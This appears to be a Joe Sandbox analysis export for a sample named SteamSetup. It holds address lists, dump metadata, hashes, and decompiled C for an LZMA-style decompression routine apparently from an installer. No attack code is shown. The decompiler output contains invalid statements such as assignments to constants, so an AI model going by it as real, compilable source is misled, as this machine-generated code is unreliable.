0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00000000
0x00000000
0x00406e7c
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea2
0x00406ea5
0x00406eaf
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406e82
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00406f84
0x00406f3f
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702a
0x0040702d
0x00406f2e
0x00406f2e
0x00406f2e
0x00000000
0x00406f34
0x00000000
0x00406c64
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00406f84
0x00000000
0x00000000
0x00000000
0x00406ca9
0x00406ca9
0x00406cac
0x00406ce2
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d42
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x004070aa
0x00000000
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x00406f2e
0x00406fae
0x00406f77

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6748365695d0b60958ae2de605dce3010a9a46cb287cd8314348fa6e45a6e7ef
Instruction ID: 95c87b37ce546c92696c349aad8761a6baa0f42cb897a758cf539d426e2a5a70
Opcode Fuzzy Hash: 6748365695d0b60958ae2de605dce3010a9a46cb287cd8314348fa6e45a6e7ef
Instruction Fuzzy Hash: 65A13471D00229CBDF28CFA8C844AADBBB1FF44305F15816AD956BB281D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406E7C Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406E7C() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004070E9))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
